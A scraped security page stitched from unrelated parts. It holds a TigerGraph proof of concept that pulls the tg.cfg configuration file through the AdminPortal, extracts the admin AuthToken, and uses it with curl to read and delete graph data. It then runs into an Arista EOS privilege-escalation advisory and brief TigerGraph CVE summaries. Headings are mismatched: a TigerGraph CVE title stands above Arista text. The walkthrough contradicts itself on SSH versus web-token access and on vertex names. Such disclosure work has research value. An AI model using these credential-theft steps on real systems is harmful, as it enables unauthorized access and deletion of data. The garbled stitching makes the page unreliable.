Using docker download at the latest TigerGraph image and start the server:

**1.) Optional: clean-up old TigerGraph docker images and obtain the latest version:**

docker rm tigergraph
docker pull docker.tigergraph.com/tigergraph:latest

**2.) Download and run the docker image (note: we do not need to attach a volume):**

docker run -d 
-p 14022:22 
-p 9000:9000 
-p 14240:14240 
--name tigergraph 
--ulimit nofile=1000000:1000000 
-t docker.tigergraph.com/tigergraph:latest

**3.) Once the container has started, connect to it via ssh (note: the default password is ‘tigergraph’):**

ssh -p 14022 tigergraph@localhost

**4.) Start all TigerGraph services:**

gadmin start all

**5.) Using GSQL, create a new graph called test and add a node to it:**

 $ gsql
GSQL> CREATE VERTEX Node(PRIMARY\_ID id UINT, value STRING) WITH primary\_id\_as\_attribute="true"
GSQL> CREATE GRAPH test(\*)
GSQL> begin
GSQL> CREATE QUERY ins(UINT id, STRING value) FOR GRAPH test {
GSQL>   INSERT INTO Node VALUES(id, value);
GSQL> }
GSQL> end
GSQL> interpret query ins(1,"hello”)

**6.) Enable RESTPP authentication**

gadmin config set RESTPP.Factory.EnableAuth true
gadmin config apply -y
gadmin restart restpp nginx gui gsql -y

**Obtaining Administrative Credentials**

To demonstrate that the administrative level web credentials are readily obtainable we download them via the AdminPortal. Although, this step assumes that the login credentials of the administrative user are known; a situation that is plausible (see CVE-2022-xxxxx which details how to locate the login credentials of the administrative user within the system logs).

If however, the login credentials are not known, the web credentials can also be exfiltrated from the TigerGraph platform using the technique described in CVE-2022-xxxxx where a user with low-levels of privilege is able to exploit a weakness in GSQL to load data from arbitrary files into the database. We also found that it is possible to exfiltrate these web credentials under normal operating conditions by exploiting GSQL’s UDF facility to read arbitrary files (see CVE-2022-30331).

**Login To The AdminPortal**

The simplest way to obtain the administrative users login credentials is using AdminStudio and to do this follow these steps:

**1.) Open a web-browser and go to http://localhost:14240 where you will be able to login to GraphStudio using the tigergraph user:**

**2.) Click on the “Admin” button on the top-right corner to switch into administrative mode (called the AdminPortal).**

**Downloading Web Credentials via AdminPortal**

Once logged into the AdminPortal follow the following steps to download the TigerGraph configuration file:

1.  On the left-hand side expand the “Others” menu.
2.  Click on “GSQL Output File” to open the file preview pane.
3.  In the “File path” textbox enter the text “/home/tigergraph/tigergraph/data/configs/tg.cfg“.
4.  Click “Preview” to check that the file exists – if it does the first few lines will be displayed.
5.  Finally, click “Download” and the file will be downloaded to your local computer. On our system it was called m1\_tg.cfg.

**Note**: When tested we found that the GUI was unable to download files that were symbolically linked. So if the files that you download in step 5 are corrupted follow the steps in the next sections to find the location of the actual file.

**Symbolic Linking Issue**

Once logged into AdminPortal perform the following steps:

1.  On the left-hand side expand the “Monitor” menu.
2.  Click on “Logs” to open the window that allows you to search through the system logs.
3.  In the “Pattern” textbox enter the text “LinkFilePath“.
4.  Under components de-select all components except “CONTROLLER”.
5.  Click “Search” to perform the search and return any matches.
6.  Finally, click on any match from the controller log file. (The file name starts “/controller” and ends in “.log”). Doing this will take you to the entry in the log file (shown below).

Once inside the log file you need to locate both the LinkFilePath and the SourceFilePath entries for tg.cfg. In the screenshot above we found these values to be:

*   LinkFilePath:"/home/tigergraph/tigergraph/data/configs/tg.cfg"
*   SourceFilePath:"tg.cfg.eyJDb3VudGVyIjoxMTEsIk1ldGFWZXJzaW9uIjoidjEiLCJWZXJzaW9uIjoxNjU1NDk2NDg0NjIwMjIxNjkyfQ=="
*   tg.cfg.eyJDb3VudGVyIjoxMTEsIk1ldGFWZXJzaW9uIjoidjEiLCJWZXJzaW9uIjoxNjU1NDk2NDg0NjIwMjIxNjkyfQ==

Now to construct the absolute file path to the configuration file replace tg.cfg in LinkFilePath to the value specified by SourceFilePath. In our example, this created the following path: /home/tigergraph/tigergraph/data/configs/tg.cfg.eyJDb3VudGVyIjoxMTEsIk1ldGFWZXJzaW9uIjoidjEiLCJWZXJzaW9uIjoxNjU1NDk2NDg0NjIwMjIxNjkyfQ==

To download this file repeats the same process as described in the section Downloading Web Credentials via AdminPortal but instead use the path that we calculated in this section.

**Using The Administrative Web Token Credentials To Obtain Access**

Once the SSH credentials of the administrative user have been obtained they can be used to authenticate with the remote TigerGraph server and obtain shell access as the administrative user without requiring a password.

**1.) Locate the value of the administrative AuthToken in the configuration file that you obtained. This can either be done using the linux command line as shown below (or opening the file in a text editor and using the in-build find functionality):**

cat m1\_tg.cfg | grep AuthToken

"\\"MaxAuthTokenLifeTimeSec\\": 0",
"\\"AuthToken\\": \\"9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe\\"",

**2.) Do a quick sanity test to check that authentication is enabled on the REST API:**

curl -X GET http://127.0.0.1:9000/graph/test/vertices/Node
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":true,"message":"Access Denied because the input token = '' is empty","code":"REST-10016"}%

**3.) Now we are able to send requests to REST APIs using our administrative AuthToken. Below we use it to return a list of vertices from our test graph:**

curl -X GET \\
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \\
http://localhost:9000/graph/test/vertices/Node
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":\[{"v\_id":"1","v\_type":"Node","attributes":{"id":1,"value":"hello"}}\]}%

**4.) We can use these REST endpoints to create/read/updated/delete any graph in the system. Below we use the administrative token to delete a vertex and then do a check it was deleted:**

curl -X DELETE \\
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \\
http://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":{"v\_type":"V1","deleted\_vertices":1}}%

curl -X GET \\
-H 'Authorization: Bearer 9voePXkP0GlojPpj6PZ2vWU6sSrQQHbe' \\
http://localhost:9000/graph/test/vertices/V1
{"version":{"edition":"enterprise","api":"v2","schema":1},"error":false,"message":"","results":\[\]}%

CVE-2023-22951: Unsecured Web Credentials

On affected modular platforms running Arista EOS equipped with both redundant supervisor modules and having the redundancy protocol configured with RPR or SSO, an existing unprivileged user can login to the standby supervisor as a root user, leading to a privilege escalation. Valid user credentials are required in order to exploit this vulnerability.

****Date: February 14, 2023****

Revision

Date

Changes

1.0

February 14th, 2023

Initial release

1.1

February 22nd, 2023

Update the Hotfix SWIX

The CVE-ID tracking this issue: CVE-2023-24509  
CVSSv3.1 Base Score: 9.3 (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)  
Common Weakness Enumeration: CWE-269 Improper Privilege Management  
This vulnerability is being tracked by BUG 723401

**Description**

On affected modular platforms running Arista EOS equipped with both redundant supervisor modules and having the redundancy protocol configured with RPR or SSO, an existing unprivileged user can login to the standby supervisor as a root user, leading to a privilege escalation. Valid user credentials are required in order to exploit this vulnerability.

Arista would like to acknowledge and thank Marc-André Labonté, Senior Information Security Analyst at Desjardins for responsibly reporting CVE-2023-24509.

Arista is not aware of any malicious uses of this issue in customer networks.

**Vulnerability Assessment****Affected Software******EOS Versions****

*   4.28.3M and below releases in the 4.28.x train
*   4.27.6M and below releases in the 4.27.x train
*   4.26.8M and below releases in the 4.26.x train
*   4.25.9M and below releases in the 4.25.x train
*   4.24.10M and below releases in the 4.24.x train
*   4.23.13M and below releases in the 4.23.x train

**Affected Platforms**

The following products are affected by this vulnerability:

Arista EOS-based products on modular switches with redundant supervisor modules:

*   755X Series
*   758X Series
*   7304X Series
*   7324X Series
*   7304X3 Series
*   7308X Series
*   7328X Series
*   7304X3 Series
*   7316X Series
*   7504R/R3 Series
*   7508R/R3 Series
*   7512R/R3 Series
*   7516R Series
*   7804R3 Series
*   7808R3 Series
*   7812R3 Series
*   7816R3 Series

The following product versions and platforms are **not** affected by this vulnerability:

*   Arista EOS-based products not listed above
*   Arista modular switches with a single supervisor module
*   Arista Wireless Access Points
*   CloudVision WiFi, virtual appliance or physical appliance
*   CloudVision WiFi cloud service delivery
*   CloudVision Portal, virtual appliance or physical appliance
*   CloudVision as-a-Service
*   Arista 7130 Systems running MOS
*   Arista Converged Cloud Fabric and DANZ Monitoring Fabric (Formerly Big Switch Nodes for BCF and BMF)
*   Arista Network Detection and Response (NDR) Security Platform (Formerly Awake NDR)
*   Arista Edge Threat Management (Formerly Arista NG Firewall and Arista Micro Edge)
*   Arista Unified Cloud Fabrics - (Formerly Pluribus Netvisor One)

**Required Configuration for Exploitation**

In order to be vulnerable to CVE-2023-24509, the following conditions must be met:

Two supervisor modules must both be inserted and active. To determine the status of the supervisor modules,

switch#show module 
Module  Ports Card Type                Model            Serial No.
------- ----- ------------------------ ---------------- -----------
1       3     DCS-7500-SUP2 Supervisor DCS-7500-SUP2    SSJ17133450
2       2     Standby supervisor       DCS-7500-SUP2    SSJ17133441
 
Module  Status  Uptime  Power off reason
------- ------- ------- ----------------
1       Active  0:24:58 N/A
2       Standby 0:24:58 N/A

Supervisor redundancy protocol must be configured with RPR(Route Processor Redundancy) or SSO (Stateful Switchover) on the switch. To determine the state and the current redundancy protocol of both supervisors on the switch,

switch#show redundancy status
  my state = ACTIVE
peer state = STANDBY WARM
      Unit = Primary
   Unit ID = 1
   
Redundancy Protocol (Operational) = Route Processor Redundancy
Redundancy Protocol (Configured) = Route Processor Redundancy
Communications = Up
Ready for switchover
   
  Last switchover time = 7:23:56 ago
Last switchover reason = Supervisor has control of the active supervisor lock

**Indicators of Compromise**

This vulnerability may lead to privilege escalation issues. Unrecognized user activities in “/var/log/secure” may be an indication of the issue.

Any unrecognized login can also be an indication of the issue.

#show user detail 
Session       Username       Roles               TTY        State       Duration       Auth        Remote Host
------------- -------------- ------------------- ---------- ----------- -------------- ----------- --------------
21            admin          network-admin       con0       E           0:43:56        local
25            hacker         network-operator    vty4       E           0:03:20        local       10.0.2.3

**Mitigation**

The workaround is to disable “ssh” CLI command in unprivileged mode on the SSH client devices by using command authorization. This can be done with Role-Based Access Control (RBAC).

If the “ssh” CLI command is currently used to connect to a remote host, the destination address can be added to an allowlist with RBAC.

More details for how to use RBAC can be found on the Arista TOI pages.

https://www.arista.com/en/support/toi/eos-4-18-0f/13861-tacacs-rbac

https://www.arista.com/en/support/toi/eos-4-18-0f/13834-radius-vsas

https://www.arista.com/en/um-eos/eos-user-security#concept\_dyv\_1pk\_cnb

**Resolution**

The recommended resolution is to upgrade to a remediated software version at your earliest convenience. Arista recommends customers move to the latest version of each release that contains all the fixes listed below.

CVE-2023-24509 has been fixed in the following releases:

*   4.28.4M and later releases in the 4.28.x train
*   4.27.7M and later releases in the 4.27.x train
*   4.26.9M and later releases in the 4.26.x train
*   4.25.10M and later releases in the 4.25.x train
*   4.24.11M and later releases in the 4.24.x train

**Hotfix**

The following hotfix can be applied to remediate CVE-2023-24509. The hotfix only applies to the releases listed below and no other releases. All other versions require upgrading to a release containing the fix (as listed above).: 

*   4.28.3M and below releases in the 4.28.x train
*   4.27.6M and below releases in the 4.27.x train
*   4.26.8M and below releases in the 4.26.x train
*   4.25.9M and below releases in the 4.25.x train
*   4.24.10M
*   4.23.13M

Note: Installing/uninstalling the SWIX will cause ConfigAgent to restart and disconnect existing CLI sessions.

**Version:** 1.0

**URL:** **SecurityAdvisory82\_CVE-2023-24509\_Hotfix.swix**

**SWIX hash:**

(SHA-512)7833ab99e11cfea1ec28c09aedffd062cfc865a20a843ee6184caff1081e748c8a02590644d0c7b0e377027379cbaadc8b1a70d1c37097bf98c1bedb429dca56

For instructions on installation and verification of the hotfix patch, refer to the “managing eos extensions” section in the EOS User Manual. Ensure that the patch is made persistent across reboots by running the command ‘copy installed-extensions boot-extensions’.

****For More Information****

If you require further assistance, or if you have any further questions regarding this security notice, please contact the Arista Networks Technical Assistance Center (TAC) by one of the following methods:

**Open a Service Request**

By email: This email address is being protected from spambots. You need JavaScript enabled to view it.  
By telephone: 408-547-5502 ; 866-476-0000  
Contact information needed to open a new service request may be found at: https://www.arista.com/en/support/customer-support

CVE-2023-24509: Security Advisory 0082 - Arista

An issue was discovered in TigerGraph Enterprise Free Edition 3.x. There is unsecured read access to an SSH private key. Any code that runs as the tigergraph user is able to read the SSH private key. With this, an attacker is granted password-less SSH access to all machines in the TigerGraph cluster.

CVE-2023-22948: Announcements

An issue was discovered in TigerGraph Enterprise Free Edition 3.x. Data loading jobs in gsql_server, created by any user with designer permissions, can read sensitive data from arbitrary locations.

Tag

#ssh